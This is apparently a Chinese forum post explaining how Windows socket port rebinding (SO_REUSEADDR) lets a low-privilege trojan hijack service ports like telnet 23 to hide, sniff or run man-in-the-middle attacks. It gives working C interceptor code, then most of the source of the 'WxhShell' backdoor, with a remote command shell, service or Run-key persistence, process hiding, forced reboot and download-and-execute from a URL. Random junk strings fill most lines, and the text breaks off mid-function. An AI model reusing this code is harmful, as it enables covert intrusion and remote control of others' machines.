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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /7:+.#Ag`  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^m&P0  
h,]VWG  
  saddr.sin_family = AF_INET; jC{KI!kPt  
G'PZ=+!XO/  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6o(IL-0]c  
?# _{h  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); NMf#0Nz-  
IOdxMzF`m  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @|Yn~PwKs  
1 ptyiy  
  这意味着什么?意味着可以进行如下的攻击: LyWY\K a  
v:yU+s|kN  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 : MjDcI~  
_6ck@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) q#8yU\J|,  
_N^w5EBC]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 jlU6keZh`  
)`R}@(r.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  U&V u%+B  
"`4ky ]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 18QqZ,t  
z8JW iRn  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 GJr mK  
*q k7e[IP  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 f(~N+2}  
:-JryiI  
  #include NjOUe?BQ  
  #include CW?Z\  
  #include -n"wXOx3  
  #include    cGgfCF^`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   :W1?t*z:[  
  int main() 7H< IO`  
  { % ym};7'&b  
  WORD wVersionRequested; 111A e *U  
  DWORD ret; 51Y%"v t  
  WSADATA wsaData; >$L7J=Em  
  BOOL val; ;(Ug]U%3_  
  SOCKADDR_IN saddr; R )Arr77  
  SOCKADDR_IN scaddr; PDuBf&/e  
  int err; xn503,5G*7  
  SOCKET s; d-+jb<C&  
  SOCKET sc; pa+'0Y]71  
  int caddsize; _ s3d$C?B  
  HANDLE mt; c:7F 2+p  
  DWORD tid;   NGl 8*Af   
  wVersionRequested = MAKEWORD( 2, 2 ); W3/bM>1  
  err = WSAStartup( wVersionRequested, &wsaData ); :e;6oC*"q  
  if ( err != 0 ) { T[k$[  
  printf("error!WSAStartup failed!\n"); nf 8V:y4  
  return -1; 6` TwP\!$/  
  } $$1t4=Pz  
  saddr.sin_family = AF_INET; ~at@3j}W  
   )c' 45 bD  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u5k {.&  
I\k<PglRA  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); PD0&ep1h7G  
  saddr.sin_port = htons(23); `M6"=)twu  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l X+~;94  
  { K%\r[NF  
  printf("error!socket failed!\n"); #[{{&sN  
  return -1; @`4T6eL5  
  } X_o#!  
  val = TRUE; [_(J8~ va  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 rtJER?A  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N knS:r&2  
  { \~E?;q!  
  printf("error!setsockopt failed!\n"); Gd%i?(U,R  
  return -1; 3P2{M}WIl  
  } F8?2+w@P  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; uv/\1N;V3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 fe/;U=te  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zY_J7,0g  
8O'bCBhv  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 4@{c K|  
  { rC^ 5Z  
  ret=GetLastError(); Zpkd8@g@  
  printf("error!bind failed!\n"); 2lpPN[~d  
  return -1; s"=TM$Vb  
  } ,Zn6T"[$  
  listen(s,2); vF$( Y/  
  while(1) {S{%KkAV  
  { HfVHjF)  
  caddsize = sizeof(scaddr); A,<5W }  
  //接受连接请求 2j%=o?me^p  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Z&Ob,Ru  
  if(sc!=INVALID_SOCKET) w{*kbGB8s7  
  { FE!jN-#  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8j#S+=l>  
  if(mt==NULL) 6U*CR=4  
  { \s*UUODWK  
  printf("Thread Creat Failed!\n"); #kM|!U=  
  break; \ T#|<=  
  } +fXwbZ?p  
  } BrE#.g Jq  
  CloseHandle(mt); e^O:I  
  } ?0/$RpFEM#  
  closesocket(s); YQN:&Cls  
  WSACleanup(); E,6|-V;?  
  return 0; $M)i]ekm  
  }   _,L_H[FN  
  DWORD WINAPI ClientThread(LPVOID lpParam) &6vaLx  
  { [WR"#y  
  SOCKET ss = (SOCKET)lpParam; toPbFU'  
  SOCKET sc; 7?whxi Qs  
  unsigned char buf[4096]; #]jl{K\f#X  
  SOCKADDR_IN saddr; ,6{z  
  long num; MWv@]P_0p!  
  DWORD val;  7(+4^  
  DWORD ret; 'Eur[~k  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Ljm`KE\Q;t  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `#ruZM066  
  saddr.sin_family = AF_INET; n\((#<&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); v@%4i~N  
  saddr.sin_port = htons(23); ~x,_A>a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]%A> swCpn  
  { bs"J]">(N  
  printf("error!socket failed!\n"); EN2t}rua  
  return -1; 4C3_ gm  
  } JW[6 ^Rw  
  val = 100; D-BT`@~l  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 61H_o7XXk  
  { / rc[HbNg.  
  ret = GetLastError(); }dzdx "  
  return -1; Q[#}Oh6$  
  } N4ZV+ |  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ({j8|{)+  
  { ?2&= +QaT  
  ret = GetLastError(); dHIk3j-!  
  return -1; Q)0KYKD+@  
  } GmR3 a  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) e El)wZ,A  
  { H7tv iSTd  
  printf("error!socket connect failed!\n"); jvB[bS`<H  
  closesocket(sc); U)8yd,qG[%  
  closesocket(ss); .m]}Ba}J$  
  return -1; P5?VrZy  
  } _ARG "  
  while(1) pRun5 )7  
  { Qa_V  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Vr},+Rj  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !4afU:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 csW\Q][  
  num = recv(ss,buf,4096,0); eI$ V2  
  if(num>0) < 9,h!  
  send(sc,buf,num,0); MG vz-E1e  
  else if(num==0) )7*'r@  
  break; cK1^jH<|  
  num = recv(sc,buf,4096,0); 7G_<+rn  
  if(num>0)  J| N 6r  
  send(ss,buf,num,0); <{cY2cx~3  
  else if(num==0) CImp,k0  
  break; xw9ZRu<z  
  } F~6]II  
  closesocket(ss); [cnu K  
  closesocket(sc); o>8~rtl  
  return 0 ; <Ja&z M  
  } 1+Gq<]@G  
T]wI)  
kaCN^yQ  
========================================================== Ge`7`D>L  
wL8j i>"  
下边附上一个代码,,WXhSHELL $L= Dky7  
/7D5I\  
========================================================== .JLJ(WM  
teS>t!d  
#include "stdafx.h" "/6#Z>y  
ym{@w3"S  
#include <stdio.h> 5Qq/nUR  
#include <string.h> {C 5:as  
#include <windows.h> b 5|*p(7[  
#include <winsock2.h> #1haq[Uv7  
#include <winsvc.h> ,A{Bx`o?  
#include <urlmon.h> DKt98;  
C<J*C0vQO  
#pragma comment (lib, "Ws2_32.lib") our ^J8  
#pragma comment (lib, "urlmon.lib") yDqwz[v b  
iKaX8c,zI  
#define MAX_USER   100 // 最大客户端连接数 /#Pm'i>B  
#define BUF_SOCK   200 // sock buffer u"qu!EY2  
#define KEY_BUFF   255 // 输入 buffer {*O%A  
0FcDO5ia  
#define REBOOT     0   // 重启 -]0:FKW  
#define SHUTDOWN   1   // 关机 CBd%}il  
&tZIWV1&  
#define DEF_PORT   5000 // 监听端口 <CVX[R]U  
Nx.9)MjI  
#define REG_LEN     16   // 注册表键长度 {%3WHGr%L  
#define SVC_LEN     80   // NT服务名长度 "yw{A%J  
Jai]z  
// 从dll定义API e=(Y,e3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {'4#{zmp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "]=OR>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uNn1qV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :o^ioX.J  
nCi ]6;Y  
// wxhshell配置信息 W5Z-s.o  
struct WSCFG { n' mrLZw  
  int ws_port;         // 监听端口 SEI0G_wk$  
  char ws_passstr[REG_LEN]; // 口令 o>M^&)Xs  
  int ws_autoins;       // 安装标记, 1=yes 0=no myA;Y  
  char ws_regname[REG_LEN]; // 注册表键名 9wR D=a  
  char ws_svcname[REG_LEN]; // 服务名 t}R!i-D|HB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8j>V?'Szk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r7W.}n*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 R7Qj<,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~}b0zL  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n3$=&   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c(=>5  
&$|~",  
}; K uwhA-IL  
:-d#kU  
// default Wxhshell configuration legWY)4D;  
struct WSCFG wscfg={DEF_PORT,  d\ #yWY  
    "xuhuanlingzhe", x,^-a  
    1, ZOfv\(iJ;  
    "Wxhshell", M@es8\&S.  
    "Wxhshell", X>7Pqn'  
            "WxhShell Service", N-2#-poDe  
    "Wrsky Windows CmdShell Service", 'df@4}9  
    "Please Input Your Password: ", @\F7nhSfa  
  1, E}4{{{r  
  "http://www.wrsky.com/wxhshell.exe", 9mHCms  
  "Wxhshell.exe" /UunWZ u%  
    }; &C MBTY#u  
qWW\d' , .  
// 消息定义模块 N>3{!K>/Y:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R7rM$|n=o  
char *msg_ws_prompt="\n\r? for help\n\r#>";  _:\rB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q(<A Yu  
char *msg_ws_ext="\n\rExit."; 'G65zz  
char *msg_ws_end="\n\rQuit."; dsw^$R}   
char *msg_ws_boot="\n\rReboot..."; E&J<qTH9  
char *msg_ws_poff="\n\rShutdown..."; G)~>d/  
char *msg_ws_down="\n\rSave to "; wm#(\dj  
=b$g_+  
char *msg_ws_err="\n\rErr!"; 7Z2D}O +  
char *msg_ws_ok="\n\rOK!"; &PPnI(s^K  
lB _9b_|2  
char ExeFile[MAX_PATH]; ?H8w;Csq-  
int nUser = 0; 4e>f}u 5  
HANDLE handles[MAX_USER]; ?&0CEfa?  
int OsIsNt; >A D!)&c  
e- `9-U%6  
SERVICE_STATUS       serviceStatus; XwEMF5[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hub]M  
@XG1d)sE  
// 函数声明 iyCH)MA  
int Install(void); x=rMjz-`_  
int Uninstall(void); z#RwgSPw6  
int DownloadFile(char *sURL, SOCKET wsh); MX~h>v3_R4  
int Boot(int flag); {G=>WAXo  
void HideProc(void); 'KmM %tN  
int GetOsVer(void); 8-+# !]  
int Wxhshell(SOCKET wsl); ]uhG&: }  
void TalkWithClient(void *cs); $xW9))  
int CmdShell(SOCKET sock); 0(c,J$I]Z!  
int StartFromService(void); &kd W(;`  
int StartWxhshell(LPSTR lpCmdLine); G$YF0Nc  
NUnwf h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); qDG x (d  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NblPVxS  
8Q/cJ+&  
// 数据结构和表定义 4?@5JpC9VA  
SERVICE_TABLE_ENTRY DispatchTable[] = x3'ANw6E  
{ 2 Ax(q&`9  
{wscfg.ws_svcname, NTServiceMain}, )xc1Lsrr9  
{NULL, NULL} axnVAh|}S  
}; 9u=]D> kb  
JT}"CuC  
// 自我安装 x!I@cP#O  
int Install(void) >1Iw!SO+  
{ [i~@X2:Al  
  char svExeFile[MAX_PATH]; Z-t qSw8n  
  HKEY key; pDP* 3  
  strcpy(svExeFile,ExeFile); 6$PQ$  
OkQ< Sc   
// 如果是win9x系统,修改注册表设为自启动 ?_{{iil  
if(!OsIsNt) { TQt[he$O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9r\p4_V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Se??E+aX  
  RegCloseKey(key); 85"Szc-#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |C./gdq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7h/Mkim$5  
  RegCloseKey(key); d>J +7ex+  
  return 0; umPN=0u6  
    } nUq@`G  
  } 1h(n}u  
} 'O~_g5kC  
else { De$Ic"Z9L  
D_F1<q  
// 如果是NT以上系统,安装为系统服务 # .&t'"u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hT =E~|O  
if (schSCManager!=0) O:V.;q2]U  
{ *W |  
  SC_HANDLE schService = CreateService Q.4+"JoG  
  ( {3os9r,  
  schSCManager, @pvQci  
  wscfg.ws_svcname, mtFC H  
  wscfg.ws_svcdisp, ?aaYka]  
  SERVICE_ALL_ACCESS, %j2:W\g:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }cW8B"_"  
  SERVICE_AUTO_START, j5hQ;~Fa|  
  SERVICE_ERROR_NORMAL, <!W9E M  
  svExeFile, vG}\Amx+  
  NULL, T;kh+ i  
  NULL, Ktuv a3=>N  
  NULL, +;@R&Y  
  NULL, ak}k e  
  NULL h _c11#  
  ); j*VYUM@y1\  
  if (schService!=0) 29@m:=-}7  
  { s*CBYzOm  
  CloseServiceHandle(schService); $\oe}`#o  
  CloseServiceHandle(schSCManager); &xj,.;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5 a&a-(  
  strcat(svExeFile,wscfg.ws_svcname); 9Z2aFW9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =;8q`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); NCkrf]*F-  
  RegCloseKey(key); jRk1Iu|7  
  return 0; ywjD.od"v  
    } 4}Os>M{k  
  } >4lA+1JYk  
  CloseServiceHandle(schSCManager); ] C_$zbmi  
} /#x0?d {5  
} 4GJx1O0Ol  
^7kYG7/  
return 1; -k,}LJjo  
} D#ED?Lqf  
O St~P^1  
// 自我卸载 0Z AtBq.s  
int Uninstall(void) (=53WbOh/t  
{ cpq0' x\  
  HKEY key; ]x_14$rk  
oe_,q&e  
if(!OsIsNt) { Q `h@-6N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5zJ#d}%}S"  
  RegDeleteValue(key,wscfg.ws_regname); gepYV}  
  RegCloseKey(key); >y@3`u]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (a|Wq{`[  
  RegDeleteValue(key,wscfg.ws_regname); \$8p8MP<&D  
  RegCloseKey(key); "X1{*  
  return 0; /h!iLun7I  
  } v Dph}Z  
} bsWDjV~  
} n QOLR? %  
else { =-uk7uZM  
Y,%G5X@S<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #0M,g  
if (schSCManager!=0) XR)I,@i`'  
{ &2Cu"O'.i  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); JR/^Go$^  
  if (schService!=0) 4mWT"T-8  
  { q'[yYPDX5x  
  if(DeleteService(schService)!=0) { y-7$HWn  
  CloseServiceHandle(schService); KMkX0+Ao  
  CloseServiceHandle(schSCManager); ~o/e0  
  return 0; J@9E20$  
  } m}-~VYDj  
  CloseServiceHandle(schService); p~u11rH  
  } WkY>--^  
  CloseServiceHandle(schSCManager); 0V#eC  
} @|o^]-,  
} ld23 ^r  
u/ 74E0$S  
return 1; P-lE,X   
} $66DyK?  
I^y,@EHR  
// 从指定url下载文件 Gm LKg >%  
int DownloadFile(char *sURL, SOCKET wsh) }qdGS<{  
{ !eB&3J  
  HRESULT hr; Zh.9j7 >p  
char seps[]= "/"; x42m+5/  
char *token; DU[vLe|Z  
char *file; !bD`2m[Q  
char myURL[MAX_PATH]; J3=^ +/g  
char myFILE[MAX_PATH]; \Mod4tQ  
$zV[- d  
strcpy(myURL,sURL); & AlX).  
  token=strtok(myURL,seps); a@WSIcX*W  
  while(token!=NULL) c_bIadE{  
  { 0~N2MoOl^  
    file=token; 5eSmyj-W  
  token=strtok(NULL,seps); 9G}Crp  
  } J\kv}v  
"(#]H;!W  
GetCurrentDirectory(MAX_PATH,myFILE); ,n?oNU  
strcat(myFILE, "\\"); `BHPj p>  
strcat(myFILE, file); W 7Y5~%@  
  send(wsh,myFILE,strlen(myFILE),0); <P1sK/IZb  
send(wsh,"...",3,0); }Pe0zx.Ge  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Cy##+u,C  
  if(hr==S_OK) $nbZ+~49  
return 0; :<Y, f(c  
else w873: =  
return 1; q6v%HF-q4  
+3n07d  
} "8Y4;lbN.q  
lGZ^ 8  
// 系统电源模块 kC)ye"r  
int Boot(int flag) VDq?,4Kb  
{ W.u}Q@  
  HANDLE hToken; vL7 JzSU_  
  TOKEN_PRIVILEGES tkp; LHz-/0 [  
HGpj(U:`c  
  if(OsIsNt) { }@:vq8%Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q\g|K3V)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <ibEo98  
    tkp.PrivilegeCount = 1; L?e N(L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %<w)#eV?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m[FH>  
if(flag==REBOOT) { Cuq=>J  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?F9:rUyN  
  return 0; r9uuVxBD  
} !bG%@{WT  
else { />z E$)'M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a:tCdnK/  
  return 0; jn9KQe\3  
} iWZrZ5l  
  } kMz^37IFMG  
  else { s`G3SE  
if(flag==REBOOT) { r0)X]l7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ga~C?H,K  
  return 0; "?GA}e"R  
} Em8C +EM  
else { ZVj/lOP X  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ul@yXtj  
  return 0; + AyrKs?h  
} 257pO9]  
} fE;<)tU  
wBUn*L  
return 1; 0;j)rmt  
} ~P85Or  
s1xl*lKX%  
// win9x进程隐藏模块 ch}t++`l]  
void HideProc(void) <m#ov G6  
{ "$*&bC#dE  
B#_<?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Vs)Pg\B?  
  if ( hKernel != NULL ) #?Z>o16,u  
  {  ((}T^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tN=B9bm3j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R(sPU>`MX  
    FreeLibrary(hKernel); p#UrZKR  
  } _>8ZL)NQQ  
W4Ey]y"  
return; wtCz%!OYB  
} WCc,RI0   
%># VhK  
// 获取操作系统版本 %(IkUD  
int GetOsVer(void) 9"3 7va  
{ K"O+`2$  
  OSVERSIONINFO winfo; OsMU>v }m  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); gUs.D_*  
  GetVersionEx(&winfo); 0?KY9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T\VKNEBo  
  return 1; xG JX~)  
  else GRK+/1C  
  return 0; /d*0+m8  
} F/FUKXxx  
I5l5fx  
// 客户端句柄模块 )DS|mM)  
int Wxhshell(SOCKET wsl) g?.ls{H  
{ 3?F*|E_  
  SOCKET wsh; "#d>3M_  
  struct sockaddr_in client; pPSmSWD?  
  DWORD myID; {;6Yi!  
:d v{'O  
  while(nUser<MAX_USER) X\:;A{  
{ r5kKNyJ  
  int nSize=sizeof(client);  x w8 e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); owDp?Sy}E  
  if(wsh==INVALID_SOCKET) return 1; bhqBFiuhH  
|kPjjVGF{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ALVHKL2  
if(handles[nUser]==0) b!C\J  
  closesocket(wsh); K!c "g,S  
else rz%8V igb  
  nUser++; xx`xDD  
  } 5hN`}Ve  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +>b~nK>M  
DlHt#Ob7  
  return 0; [ZC{eg+D  
} v803@9@  
=]k0*\PS  
// 关闭 socket ),ur! v  
void CloseIt(SOCKET wsh) LO8`qq*rq  
{ SJg4P4|  
closesocket(wsh); V(hM@ztN  
nUser--; TUw+A6u:p  
ExitThread(0); {O ]^8#v^  
} WrB:)Q(8=  
iI|mFc|V  
// 客户端请求句柄 @]v}& j7  
void TalkWithClient(void *cs) (gY3?&Ok*  
{ eD4D<\*  
ws1io.  
  SOCKET wsh=(SOCKET)cs; !6Sr*a*5  
  char pwd[SVC_LEN]; ;L1Q"Hxh  
  char cmd[KEY_BUFF]; 37OU  
char chr[1]; (X=JT  
int i,j; 5f;6BP  
zl?Gd4  
  while (nUser < MAX_USER) { hk6(y?#  
!&'GWQY{(  
if(wscfg.ws_passstr) { w; [ndZCY7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RLy(Wz3%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -|0nZ  
  //ZeroMemory(pwd,KEY_BUFF); B bU%p  
      i=0; b`a4SfbQS  
  while(i<SVC_LEN) { @|AHTf!  
-BQoNEh  
  // 设置超时 Rcg q7W  
  fd_set FdRead; [{iPosQWj  
  struct timeval TimeOut; w ]8+ OP  
  FD_ZERO(&FdRead); oT7 6)O  
  FD_SET(wsh,&FdRead); uX82q.u_y  
  TimeOut.tv_sec=8; O+iNR9O  
  TimeOut.tv_usec=0; ''t\J^+&  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); bSa%?laS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); } Xbmb8  
j<"@ Y7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /e/%mo  
  pwd=chr[0]; RT+pB{Y  
  if(chr[0]==0xd || chr[0]==0xa) { WP5cC@x  
  pwd=0; JVfSmxy.  
  break; (*~'#k  
  } 6,wi81F,}  
  i++; 2IfcdYG  
    } 0d>|2QV   
F9ytU>zh  
  // 如果是非法用户,关闭 socket %y96]e1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e}f#dR+(  
} voX4A p l  
O0Z !*Hy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^/6LVB*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1zNh& "  
vIq>QXb;d  
while(1) { '80mhrEutG  
wh Hp}r  
  ZeroMemory(cmd,KEY_BUFF); %#go9H(K  
_HMQx_e0YM  
      // 自动支持客户端 telnet标准   k)j6rU  
  j=0; >W?i+,g  
  while(j<KEY_BUFF) { g=#Cc( q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4{PN9i E  
  cmd[j]=chr[0]; O)N$nBnp  
  if(chr[0]==0xa || chr[0]==0xd) { ,xSNTOJ  
  cmd[j]=0; e1<9:h+  
  break; =EJ8J;y_f  
  } \wjT|z1+Y  
  j++; scc+r  
    } 84f(BE  
d/"%fpp^0G  
  // 下载文件 XE#a#  
  if(strstr(cmd,"http://")) { plNoI1st  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8}M-b6R V  
  if(DownloadFile(cmd,wsh)) MnL o{G]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *x!j:/S`n  
  else B~ ?R 6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h5)4Z^n  
  } a!@(bb z>  
  else { K#%@4]jO3  
=I.uf   
    switch(cmd[0]) { =67ab_V  
  &0*7]Wo*  
  // 帮助 yac4\%ze  
  case '?': { ;No i H&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7|@FN7]5NF  
    break; K ' ?`'7  
  } _^Z v[P  
  // 安装  2S  
  case 'i': { 7+NBcZuG9  
    if(Install()) @ ^q}.u`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E8/Pi>QW  
    else 1b=,lm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 49o/S2b4z  
    break; ul-O3]\'@  
    } /$\N_`bM  
  // 卸载 P7 h^!a/  
  case 'r': { 6:Hd`  
    if(Uninstall()) %zKTrsMZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +xL' LC x  
    else u<U8LR=)V5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !#Pr'm/,mu  
    break; {EjzJr>  
    } SgWLs%B  
  // 显示 wxhshell 所在路径 x%yzhIRR  
  case 'p': {  ^:^  
    char svExeFile[MAX_PATH]; + Pc2`,pw|  
    strcpy(svExeFile,"\n\r"); ,.HS )<B  
      strcat(svExeFile,ExeFile); |jI|} ,I  
        send(wsh,svExeFile,strlen(svExeFile),0); wzj :PS  
    break; :u,Ji9 u  
    } h1~/zM/`  
  // 重启 1f+z[ad&^  
  case 'b': { no$X0ia  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {zI>"%$u  
    if(Boot(REBOOT))  \4j(el  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kp-`_sDg  
    else { g_3Ozy  
    closesocket(wsh); 3dx.%~c  
    ExitThread(0); WCYVonbg"  
    } ?!.L#]23f  
    break; % !>@m6JK  
    } s7(1|}jh  
  // 关机 v =_Ds<6n  
  case 'd': { b:PzqMh{G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B un^EJ)  
    if(Boot(SHUTDOWN)) e>UU/Ks  
